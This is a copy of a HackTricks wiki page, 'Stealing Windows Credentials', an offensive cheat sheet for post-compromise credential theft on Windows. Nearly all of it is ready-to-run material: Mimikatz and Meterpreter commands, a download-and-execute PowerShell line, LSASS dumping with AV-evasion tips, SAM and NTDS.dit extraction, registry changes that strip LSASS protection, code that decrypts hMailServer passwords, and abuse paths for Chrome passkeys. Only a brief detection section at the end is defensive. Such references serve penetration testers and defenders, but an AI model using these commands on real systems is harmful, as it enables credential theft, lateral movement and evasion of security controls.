overview.md (27540B)
1 --- 2 title: "Stealing Windows Credentials" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/stealing-credentials/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/stealing-credentials/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Stealing Windows Credentials 14 15 ## Credentials Mimikatz 16 17 ```bash 18 #Elevate Privileges to extract the credentials 19 privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins 20 token::elevate 21 #Extract from lsass (memory) 22 sekurlsa::logonpasswords 23 #Extract from lsass (service) 24 lsadump::lsa /inject 25 #Extract from SAM 26 lsadump::sam 27 #One liner 28 mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit" 29 ``` 30 31 **Find other things that Mimikatz can do in** [**this page**](/hacktricks/windows-hardening/stealing-credentials/credentials-mimikatz)**.** 32 33 ### Invoke-Mimikatz 34 35 ```bash 36 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1') 37 Invoke-Mimikatz -DumpCreds #Dump creds from memory 38 Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"' 39 ``` 40 41 [**Learn about some possible credentials protections here.**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections) **This protections could prevent Mimikatz from extracting some credentials.** 42 43 ## Credentials with Meterpreter 44 45 Use the [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **that** I have created to **search for passwords and hashes** inside the victim. 46 47 ```bash 48 #Credentials from SAM 49 post/windows/gather/smart_hashdump 50 hashdump 51 52 #Using kiwi module 53 load kiwi 54 creds_all 55 kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" 56 57 #Using Mimikatz module 58 load mimikatz 59 mimikatz_command -f "sekurlsa::logonpasswords" 60 mimikatz_command -f "lsadump::lsa /inject" 61 mimikatz_command -f "lsadump::sam" 62 ``` 63 64 ## Bypassing AV 65 66 ### Procdump + Mimikatz 67 68 As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender.\ 69 You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump. 70 71 You could also use [SharpDump](https://github.com/GhostPack/SharpDump). 72 73 ```bash 74 #Local 75 C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp 76 #Remote, mount https://live.sysinternals.com which contains procdump.exe 77 net use Z: https://live.sysinternals.com 78 Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp 79 # Get it from webdav 80 \\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp 81 ``` 82 83 ```c 84 //Load the dump 85 mimikatz # sekurlsa::minidump lsass.dmp 86 //Extract credentials 87 mimikatz # sekurlsa::logonPasswords 88 ``` 89 90 This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` 91 92 **Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead of** the **name lsass.exe.** 93 94 ### Dumping lsass with **comsvcs.dll** 95 96 A DLL named **comsvcs.dll** found in `C:\Windows\System32` is responsible for **dumping process memory** in the event of a crash. This DLL includes a **function** named **`MiniDumpW`**, designed to be invoked using `rundll32.exe`.\ 97 It is irrelevant to use the first two arguments, but the third one is divided into three components. The process ID to be dumped constitutes the first component, the dump file location represents the second, and the third component is strictly the word **full**. No alternative options exist.\ 98 Upon parsing these three components, the DLL is engaged in creating the dump file and transferring the specified process's memory into this file.\ 99 Utilization of the **comsvcs.dll** is feasible for dumping the lsass process, thereby eliminating the need to upload and execute procdump. This method is described in detail at [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords).<sup>[[9]](#references)</sup> 100 101 The following command is employed for execution: 102 103 ```bash 104 rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full 105 ``` 106 107 **You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.** 108 109 ### **Dumping lsass with Task Manager** 110 111 1. Right click on the Task Bar and click on Task Manager 112 2. Click on More details 113 3. Search for "Local Security Authority Process" process in the Processes tab 114 4. Right click on "Local Security Authority Process" process and click on "Create dump file". 115 116 ### Dumping lsass with procdump 117 118 [Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) is a Microsoft signed binary which is a part of [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) suite. 119 120 ```text 121 Get-Process -Name LSASS 122 .\procdump.exe -ma 608 lsass.dmp 123 ``` 124 125 ## Dumpin lsass with PPLBlade 126 127 [**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) is a Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk. 128 129 **Key functionalities**: 130 131 1. Bypassing PPL protection 132 2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms 133 3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump) 134 135 ```bash 136 PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234 137 ``` 138 139 ## LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump 140 141 Ink Dragon ships a three-stage dumper dubbed **LalsDumper** that never calls `MiniDumpWriteDump`, so EDR hooks on that API never fire:<sup>[[3]](#references)</sup> 142 143 1. **Stage 1 loader (`lals.exe`)** – searches `fdp.dll` for a placeholder consisting of 32 lower-case `d` characters, overwrites it with the absolute path to `rtu.txt`, saves the patched DLL as `nfdp.dll`, and calls `AddSecurityPackageA("nfdp","fdp")`. This forces **LSASS** to load the malicious DLL as a new Security Support Provider (SSP). 144 2. **Stage 2 inside LSASS** – when LSASS loads `nfdp.dll`, the DLL reads `rtu.txt`, XORs each byte with `0x20`, and maps the decoded blob into memory before transferring execution. 145 3. **Stage 3 dumper** – the mapped payload re-implements MiniDump logic using **direct syscalls** resolved from hashed API names (`seed = 0xCD7815D6; h ^= (ch + ror32(h,8))`). A dedicated export named `Tom` opens `%TEMP%\<pid>.ddt`, streams a compressed LSASS dump into the file, and closes the handle so exfiltration can happen later. 146 147 Operator notes: 148 149 * Keep `lals.exe`, `fdp.dll`, `nfdp.dll`, and `rtu.txt` in the same directory. Stage 1 rewrites the hard-coded placeholder with the absolute path to `rtu.txt`, so splitting them breaks the chain. 150 * Registration happens by appending `nfdp` to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`. You can seed that value yourself to make LSASS reload the SSP every boot. 151 * `%TEMP%\*.ddt` files are compressed dumps. Decompress locally, then feed them to Mimikatz/Volatility for credential extraction. 152 * Running `lals.exe` requires admin/SeTcb rights so `AddSecurityPackageA` succeeds; once the call returns, LSASS transparently loads the rogue SSP and executes Stage 2. 153 * Removing the DLL from disk does not evict it from LSASS. Either delete the registry entry and restart LSASS (reboot) or leave it for long-term persistence. 154 155 ## CrackMapExec 156 157 ### Dump SAM hashes 158 159 ```text 160 cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam 161 ``` 162 163 ### Dump LSA secrets 164 165 ```text 166 cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa 167 ``` 168 169 ### Dump the NTDS.dit from target DC 170 171 ```text 172 cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds 173 #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss 174 ``` 175 176 ### Dump the NTDS.dit password history from target DC 177 178 ```text 179 #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history 180 ``` 181 182 ### Show the pwdLastSet attribute for each NTDS.dit account 183 184 ```text 185 #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet 186 ``` 187 188 ## Stealing SAM & SYSTEM 189 190 This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected. 191 192 ### From Registry 193 194 The easiest way to steal those files is to get a copy from the registry: 195 196 ```text 197 reg save HKLM\sam sam 198 reg save HKLM\system system 199 reg save HKLM\security security 200 ``` 201 202 **Download** those files to your Kali machine and **extract the hashes** using: 203 204 ```text 205 samdump2 SYSTEM SAM 206 impacket-secretsdump -sam sam -security security -system system LOCAL 207 ``` 208 209 ### Volume Shadow Copy 210 211 You can perform copy of protected files using this service. You need to be Administrator. 212 213 #### Using vssadmin 214 215 vssadmin binary is only available in Windows Server versions 216 217 ```bash 218 vssadmin create shadow /for=C: 219 #Copy SAM 220 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM 221 #Copy SYSTEM 222 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM 223 #Copy ntds.dit 224 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit 225 226 # You can also create a symlink to the shadow copy and access it 227 mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ 228 ``` 229 230 But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file: 231 232 ```bash 233 $service=(Get-Service -name VSS) 234 if($service.Status -ne "Running"){$notrunning=1;$service.Start()} 235 $id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID 236 $volume=(gwmi win32_shadowcopy -filter "ID='$id'") 237 cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public 238 cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public 239 cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public 240 $volume.Delete();if($notrunning -eq 1){$service.Stop()} 241 ``` 242 243 Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)<sup>[[7]](#references)</sup> 244 245 ### Invoke-NinjaCopy 246 247 Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit. 248 249 ```bash 250 Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" 251 ``` 252 253 ## **Active Directory Credentials - NTDS.dit** 254 255 The **NTDS.dit** file is known as the heart of **Active Directory**, holding crucial data about user objects, groups, and their memberships. It's where the **password hashes** for domain users are stored. This file is an **Extensible Storage Engine (ESE)** database and resides at **_%SystemRoom%/NTDS/ntds.dit_**. 256 257 Within this database, three primary tables are maintained: 258 259 - **Data Table**: This table is tasked with storing details about objects like users and groups. 260 - **Link Table**: It keeps track of relationships, such as group memberships. 261 - **SD Table**: **Security descriptors** for each object are held here, ensuring the security and access control for the stored objects. 262 263 Christoffer Andersson's database-layer research documents these tables and their version-specific behavior in more detail.<sup>[[8]](#references)</sup> 264 265 Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the `lsass`** memory (you can find the latest accessed data probably because of the performance improve by using a **cache**). 266 267 #### Decrypting the hashes inside NTDS.dit 268 269 The hash is encrypted three times: 270 271 1. Decrypt Password Encryption Key (**PEK**) using the **BOOTKEY** and **RC4**. 272 2. Decrypt tha **hash** using **PEK** and **RC4**. 273 3. Decrypt the **hash** using **DES**. 274 275 The **PEK** has the **same value on every domain controller**, but it is **encrypted** inside **NTDS.dit** with the DC-specific **BOOTKEY** from that domain controller's **SYSTEM** hive. Therefore, extracting credentials requires both **NTDS.dit** and **SYSTEM** (`C:\Windows\System32\config\SYSTEM`). 276 277 ### Copying NTDS.dit using Ntdsutil 278 279 Available since Windows Server 2008. 280 281 ```bash 282 ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit 283 ``` 284 285 You could also use the [**volume shadow copy**](#stealing-sam-and-system) trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** (again, [**dump it from the registry or use the volume shadow copy**](#stealing-sam-and-system) trick). 286 287 ### **Extracting hashes from NTDS.dit** 288 289 Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**: 290 291 ```bash 292 secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt 293 ``` 294 295 You can also **extract them automatically** using a valid domain admin user: 296 297 ```text 298 secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> 299 ``` 300 301 For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump). 302 303 Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain_hashdump_ or **mimikatz** `lsadump::lsa /inject` 304 305 ### **Extracting domain objects from NTDS.dit to an SQLite database** 306 307 NTDS objects can be extracted to an SQLite database with [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Not only secrets are extracted but also the entire objects and their attributes for further information extraction when the raw NTDS.dit file is already retrieved. 308 309 ```text 310 ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive 311 ``` 312 313 The `SYSTEM` hive is optional but allow for secrets decryption (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Along with other information, the following data is extracted : user and machine accounts with their hashes, UAC flags, timestamp for last logon and password change, accounts description, names, UPN, SPN, groups and recursive memberships, organizational units tree and membership, trusted domains with trusts type, direction and attributes... 314 315 ## Lazagne 316 317 Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software. 318 319 ```text 320 lazagne.exe all 321 ``` 322 323 ## Other tools for extracting credentials from SAM and LSASS 324 325 ### Windows credentials Editor (WCE) 326 327 This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) 328 329 ### fgdump 330 331 Extract credentials from the SAM file 332 333 ```text 334 You can find this binary inside Kali, just do: locate fgdump.exe 335 fgdump.exe 336 ``` 337 338 ### PwDump 339 340 Extract credentials from the SAM file 341 342 ```text 343 You can find this binary inside Kali, just do: locate pwdump.exe 344 PwDump.exe -o outpwdump -x 127.0.0.1 345 type outpwdump 346 ``` 347 348 ### PwDump7 349 350 Download it from:[ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) and just **execute it** and the passwords will be extracted. 351 352 ## Mining idle RDP sessions and weakening security controls 353 354 Ink Dragon’s FinalDraft RAT includes a `DumpRDPHistory` tasker whose techniques are handy for any red-teamer:<sup>[[3]](#references)</sup> 355 356 ### DumpRDPHistory-style telemetry collection 357 358 * **Outbound RDP targets** – parse every user hive at `HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*`. Each subkey stores the server name, `UsernameHint`, and the last write timestamp. You can replicate FinalDraft’s logic with PowerShell: 359 360 ```powershell 361 Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object { 362 Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue | 363 ForEach-Object { 364 $server = Split-Path $_.Name -Leaf 365 $user = (Get-ItemProperty $_.Name).UsernameHint 366 "OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)" 367 } 368 } 369 ``` 370 371 * **Inbound RDP evidence** – query the `Microsoft-Windows-TerminalServices-LocalSessionManager/Operational` log for Event IDs **21** (successful logon) and **25** (disconnect) to map who administered the box: 372 373 ```powershell 374 Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \ 375 | Where-Object { $_.Id -in 21,25 } \ 376 | Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}} 377 ``` 378 379 Once you know which Domain Admin regularly connects, dump LSASS (with LalsDumper/Mimikatz) while their **disconnected** session still exists. CredSSP + NTLM fallback leaves their verifier and tokens in LSASS, which can then be replayed over SMB/WinRM to grab `NTDS.dit` or stage persistence on domain controllers. 380 381 ### Registry downgrades targeted by FinalDraft 382 383 The same implant also tampers with several registry keys to make credential theft easier:<sup>[[3]](#references)</sup> 384 385 ```batch 386 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f 387 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 388 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f 389 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f 390 ``` 391 392 * Setting `DisableRestrictedAdmin=1` forces full credential/ticket reuse during RDP, enabling pass-the-hash style pivots. 393 * `LocalAccountTokenFilterPolicy=1` disables UAC token filtering so local admins get unrestricted tokens over the network. 394 * `DSRMAdminLogonBehavior=2` lets the DSRM administrator log on while the DC is online, giving attackers another built-in high-privilege account. 395 * `RunAsPPL=0` removes LSASS PPL protections, making memory access trivial for dumpers such as LalsDumper. 396 397 ## hMailServer database credentials (post-compromise) 398 399 hMailServer stores its DB password in `C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini` under `[Database] Password=`. The value is Blowfish-encrypted with the static key `THIS_KEY_IS_NOT_SECRET` and 4-byte word endianness swaps. Use the hex string from the INI with this Python snippet:<sup>[[2]](#references)</sup> 400 401 ```python 402 from Crypto.Cipher import Blowfish 403 import binascii 404 405 def swap4(data): 406 return b"".join(data[i:i+4][::-1] for i in range(0, len(data), 4)) 407 enc_hex = "HEX_FROM_HMAILSERVER_INI" 408 enc = binascii.unhexlify(enc_hex) 409 key = b"THIS_KEY_IS_NOT_SECRET" 410 plain = swap4(Blowfish.new(key, Blowfish.MODE_ECB).decrypt(swap4(enc))).rstrip(b"\x00") 411 print(plain.decode()) 412 ``` 413 414 With the clear-text password, copy the SQL CE database to avoid file locks, load the 32-bit provider, and upgrade if needed before querying hashes: 415 416 ```powershell 417 Copy-Item "C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf" C:\Windows\Temp\ 418 Add-Type -Path "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll" 419 $engine = New-Object System.Data.SqlServerCe.SqlCeEngine("Data Source=C:\Windows\Temp\hMailServer.sdf;Password=[DBPASS]") 420 $engine.Upgrade("Data Source=C:\Windows\Temp\hMailServerUpgraded.sdf") 421 $conn = New-Object System.Data.SqlServerCe.SqlCeConnection("Data Source=C:\Windows\Temp\hMailServerUpgraded.sdf;Password=[DBPASS]"); $conn.Open() 422 $cmd = $conn.CreateCommand(); $cmd.CommandText = "SELECT accountaddress,accountpassword FROM hm_accounts"; $cmd.ExecuteReader() 423 ``` 424 425 The `accountpassword` column uses the hMailServer hash format (hashcat mode `1421`). Cracking these values can provide reusable credentials for WinRM/SSH pivots. 426 427 ## LSA Logon Callback Interception (LsaApLogonUserEx2) 428 429 Some tooling captures **plaintext logon passwords** by intercepting the LSA logon callback `LsaApLogonUserEx2`. The idea is to hook or wrap the authentication package callback so credentials are captured **during logon** (before hashing), then written to disk or returned to the operator. This is commonly implemented as a helper that injects into or registers with LSA, and then records each successful interactive/network logon event with the username, domain and password.<sup>[[1]](#references)</sup> 430 431 Operational notes: 432 - Requires local admin/SYSTEM to load the helper in the authentication path. 433 - Captured credentials appear only when a logon occurs (interactive, RDP, service, or network logon depending on the hook). 434 435 ## SSMS Saved Connection Credentials (sqlstudio.bin) 436 437 SQL Server Management Studio (SSMS) stores saved connection information in a per-user `sqlstudio.bin` file. Dedicated dumpers can parse the file and recover saved SQL credentials. In shells that only return command output, the file is often exfiltrated by encoding it as Base64 and printing it to stdout.<sup>[[1]](#references)</sup> 438 439 ```batch 440 certutil -encode sqlstudio.bin sqlstudio.b64 441 type sqlstudio.b64 442 ``` 443 444 On the operator side, rebuild the file and run the dumper locally to recover credentials: 445 446 ```bash 447 base64 -d sqlstudio.b64 > sqlstudio.bin 448 ``` 449 450 ## Passkeys / WebAuthn credential theft from Chrome on Windows 451 452 If code execution is obtained as the **victim user** on a Windows host using **Chrome + Google Password Manager synced passkeys**, passkeys become an interesting post-exploitation target even **without admin/SYSTEM**.<sup>[[4]](#references)</sup> 453 454 ### Interesting local artifacts 455 456 ```text 457 %LocalAppData%\Google\Chrome\User Data\<Profile>\Sync Data\LevelDB 458 %LocalAppData%\Google\Chrome\User Data\<Profile>\passkey_enclave_state 459 ``` 460 461 - **`Sync Data\LevelDB`** stores protobuf-encoded **`WebauthnCredentialSpecifics`** records. A same-user process can enumerate the **RP ID**, **username**, **credential ID**, and encrypted private-key material for synced passkeys.<sup>[[5]](#references)</sup> 462 - **`passkey_enclave_state`** stores local device-enrollment state such as **`wrapped_identity_private_key`** and the wrapped secret used to recover synced credentials.<sup>[[4]](#references)</sup> 463 464 Quick triage: 465 466 ```powershell 467 Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data" -Recurse -Force | 468 Where-Object { $_.FullName -match 'passkey_enclave_state|Sync Data\\LevelDB' } | 469 Select-Object FullName, Length, LastWriteTime 470 ``` 471 472 ### TPM-bound key blobs can still be abused as a local signing oracle 473 474 If the browser exports a TPM-backed identity key as **`NCRYPT_OPAQUE_KEY_BLOB`** and stores that blob in user-accessible state, malware does **not** need to extract the raw private key. It can simply re-import the blob on the **same machine** and ask the local TPM to sign attacker-controlled data:<sup>[[4]](#references)[[6]](#references)</sup> 475 476 ```c 477 NCryptOpenStorageProvider(...) 478 NCryptImportKey(..., NCRYPT_OPAQUE_KEY_BLOB, ...) 479 NCryptSignHash(...) 480 ``` 481 482 This means **hardware binding prevents off-device export but not same-user use on the compromised endpoint**. 483 484 ### Practical abuse paths 485 486 1. **Pass-ta-key / device-identity relay**<sup>[[4]](#references)</sup> 487 - Enumerate `WebauthnCredentialSpecifics` from Chrome's LevelDB. 488 - Start a passkey login and obtain a fresh WebAuthn challenge. 489 - Use the stolen `wrapped_identity_private_key` blob on the victim TPM to sign the cloud-authenticator request binding. 490 - Relay the returned assertion to the relying party. 491 - This is especially valuable when the RP accepts `userVerification=preferred` or fails to reject assertions with **`UV=0`**. 492 2. **Pending UV-key hijack**<sup>[[4]](#references)</sup> 493 - Force re-onboarding by deleting `passkey_enclave_state` or by sending a valid signed `device/forget` operation. 494 - If onboarding leaves the device in **`uv_key_pending`**, register an attacker-controlled UV public key. 495 - If the provider does not verify attestation / secure-hardware origin for the new UV key, later signatures from the attacker key are treated as **`UV=1`**. 496 3. **Master-secret / SDS recovery theft**<sup>[[4]](#references)</sup> 497 - Force recovery or rejoin so Chrome fetches the synced-passkey master secret. 498 - Watch for recreation/modification of `passkey_enclave_state`, then dump Chrome memory while the plaintext **security domain secret (SDS)** is resident. 499 - Use the recovered SDS to decrypt the encrypted fields in every `WebauthnCredentialSpecifics` record and recover portable WebAuthn private keys. 500 501 ### DFIR / detection ideas 502 503 - Monitor **deletion/recreation** of `passkey_enclave_state`.<sup>[[4]](#references)</sup> 504 - Alert on abnormal access to Chrome **`Sync Data\LevelDB`** by non-browser processes. 505 - Alert on **Chrome memory dumps** or suspicious cross-process memory access. 506 - Investigate repeated **Google Password Manager recovery PIN** prompts or unexpected re-onboarding. 507 - Remember that WebAuthn **`signCount`** is often not useful for synced passkeys because it may remain constant, so classic clone detection is weak. 508 509 ## References 510 511 - [1] [Unit 42 – An Investigation Into Years of Undetected Operations Targeting High-Value Sectors](https://unit42.paloaltonetworks.com/cl-unk-1068-targets-critical-sectors/) 512 - [2] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html) 513 - [3] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) 514 - [4] [Unit 42 – Pass the Passkey: A Novel Attack Surface in Passwordless Authentication](https://unit42.paloaltonetworks.com/passwordless-authentication-security-risks/) 515 - [5] [Chromium – `webauthn_credential_specifics.proto`](https://chromium.googlesource.com/chromium/src/+/main/components/sync/protocol/webauthn_credential_specifics.proto) 516 - [6] [Microsoft – `NCryptCreatePersistedKey` / CNG key storage](https://learn.microsoft.com/en-us/windows/win32/api/ncrypt/nf-ncrypt-ncryptcreatepersistedkey) 517 - [7] [0xWord – Hacking Windows: Ataques a Sistemas y Redes Microsoft](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html) 518 - [8] [How the Active Directory Data Store Really Works: Inside NTDS.dit (Part 1)](https://blog.chrisse.se/?p=762) 519 - [9] [en.hackndo.com - Remote Lsass Dump Passwords](https://en.hackndo.com/remote-lsass-dump-passwords)